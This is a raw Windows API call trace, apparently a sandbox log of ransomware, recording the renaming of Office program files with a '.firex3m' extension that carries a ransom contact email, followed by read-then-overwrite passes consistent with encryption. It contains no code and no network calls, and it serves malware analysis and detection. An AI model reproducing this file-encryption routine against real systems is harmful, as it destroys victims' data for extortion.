CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="Classic.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~1.FIR")) returned 0x6d5000 [0187.474] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0187.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0187.474] GetProcessHeap () returned 0x630000 [0187.474] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x23a1) returned 0x7258350 [0187.474] GetProcessHeap () returned 0x630000 [0187.474] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x23a1) returned 0x7456470 [0187.475] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.475] ReadFile (in: hFile=0x66c, lpBuffer=0x7258350, nNumberOfBytesToRead=0x2380, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7258350*, lpNumberOfBytesRead=0x6c3ff0c*=0x2380, lpOverlapped=0x0) returned 1 [0189.603] GetProcessHeap () returned 0x630000 [0189.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0189.603] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.603] WriteFile (in: hFile=0x66c, lpBuffer=0x7456470*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7456470*, lpNumberOfBytesWritten=0x6c3ff0c*=0x2380, lpOverlapped=0x0) returned 1 [0189.603] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.603] WriteFile (in: hFile=0x66c, lpBuffer=0x74587ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74587ef*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.603] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.604] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.604] CloseHandle (hObject=0x66c) returned 1 [0189.604] GetProcessHeap () returned 0x630000 [0189.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7456470 | out: hHeap=0x630000) returned 1 [0189.604] GetProcessHeap () returned 0x630000 [0189.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7258350 | out: hHeap=0x630000) returned 1 [0189.604] GetProcessHeap () returned 0x630000 [0189.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0189.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36f6e148, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x23ab, dwReserved0=0x9ec7496, dwReserved1=0x7258348, cFileName="Classic.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~1.FIR")) returned 0x6d5280 [0189.604] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.604] Sleep (dwMilliseconds=0x1) [0191.851] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc", len=0x44 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc") returned 1 [0191.851] GetProcessHeap () returned 0x630000 [0191.851] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45e0) returned 0x74656a8 [0191.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visiocustom.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0191.852] CloseHandle (hObject=0x40c) returned 1 [0191.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visiocustom.propdesc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visiocustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x525199b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioCustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOC~1.FIR")) returned 0x6d4f00 [0191.854] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0191.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visiocustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0191.854] GetProcessHeap () returned 0x630000 [0191.854] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4a1) returned 0x6719c8 [0191.854] GetProcessHeap () returned 0x630000 [0191.854] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4a1) returned 0x73b5a60 [0191.854] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.854] ReadFile (in: hFile=0x40c, lpBuffer=0x6719c8, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6719c8*, lpNumberOfBytesRead=0x6c3ff0c*=0x480, lpOverlapped=0x0) returned 1 [0191.875] GetProcessHeap () returned 0x630000 [0191.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0191.875] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.875] WriteFile (in: hFile=0x40c, lpBuffer=0x73b5a60*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5a60*, lpNumberOfBytesWritten=0x6c3ff0c*=0x480, lpOverlapped=0x0) returned 1 [0191.875] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.875] WriteFile (in: hFile=0x40c, lpBuffer=0x73b5edf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5edf*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.875] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.875] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.875] CloseHandle (hObject=0x40c) returned 1 [0191.875] GetProcessHeap () returned 0x630000 [0191.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b5a60 | out: hHeap=0x630000) returned 1 [0191.875] GetProcessHeap () returned 0x630000 [0191.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6719c8 | out: hHeap=0x630000) returned 1 [0191.875] GetProcessHeap () returned 0x630000 [0191.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0191.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x38509551, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x9ec7496, dwReserved1=0x6719c0, cFileName="VisioCustom.propdesc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOC~1.FIR")) returned 0x6d4f40 [0191.876] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0191.876] Sleep (dwMilliseconds=0x1) [0191.883] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", len=0x39 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE") returned 1 [0191.883] GetProcessHeap () returned 0x630000 [0191.883] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45d4) returned 0x74656a8 [0191.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0191.884] CloseHandle (hObject=0x40c) returned 1 [0191.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.885] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOE~2.FIR")) returned 0x6d54c0 [0191.885] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0191.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0191.885] GetProcessHeap () returned 0x630000 [0191.885] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0191.887] GetProcessHeap () returned 0x630000 [0191.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0191.887] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.887] ReadFile (in: hFile=0x40c, lpBuffer=0x7001850, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.257] GetProcessHeap () returned 0x630000 [0195.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0195.257] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.258] WriteFile (in: hFile=0x40c, lpBuffer=0x700cc80*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.296] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.296] WriteFile (in: hFile=0x40c, lpBuffer=0x701807f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701807f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.296] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.297] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.297] CloseHandle (hObject=0x40c) returned 1 [0195.297] GetProcessHeap () returned 0x630000 [0195.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0195.298] GetProcessHeap () returned 0x630000 [0195.298] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0195.298] GetProcessHeap () returned 0x630000 [0195.298] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0196.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a5b329b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x14a664, dwReserved0=0x9ec7496, dwReserved1=0x7001848, cFileName="VISIO.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOE~2.FIR")) returned 0x6d5000 [0196.305] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.305] Sleep (dwMilliseconds=0x1) [0196.314] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", len=0x4b | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx") returned 1 [0196.314] GetProcessHeap () returned 0x630000 [0196.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47c4) returned 0x7133a90 [0196.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0196.434] CloseHandle (hObject=0x648) returned 1 [0196.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APOTHE~1.FIR")) returned 0x6d5000 [0196.908] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0196.908] GetProcessHeap () returned 0x630000 [0196.908] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0196.908] GetProcessHeap () returned 0x630000 [0196.908] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0196.908] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.908] ReadFile (in: hFile=0x648, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.047] GetProcessHeap () returned 0x630000 [0205.047] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0205.048] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.048] WriteFile (in: hFile=0x648, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.048] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.048] WriteFile (in: hFile=0x648, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.049] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.049] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.049] CloseHandle (hObject=0x648) returned 1 [0205.049] GetProcessHeap () returned 0x630000 [0205.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0205.049] GetProcessHeap () returned 0x630000 [0205.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0205.050] GetProcessHeap () returned 0x630000 [0205.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0205.050] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x402aa66a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27bbc, dwReserved0=0x9ec7496, dwReserved1=0x72e9d70, cFileName="ApothecaryLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APOTHE~1.FIR")) returned 0x6d5200 [0205.050] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0205.050] Sleep (dwMilliseconds=0x1) [0205.057] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", len=0x6c | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 1 [0205.057] GetProcessHeap () returned 0x630000 [0205.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c08) returned 0x7133a90 [0205.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0205.058] CloseHandle (hObject=0x648) returned 1 [0205.058] 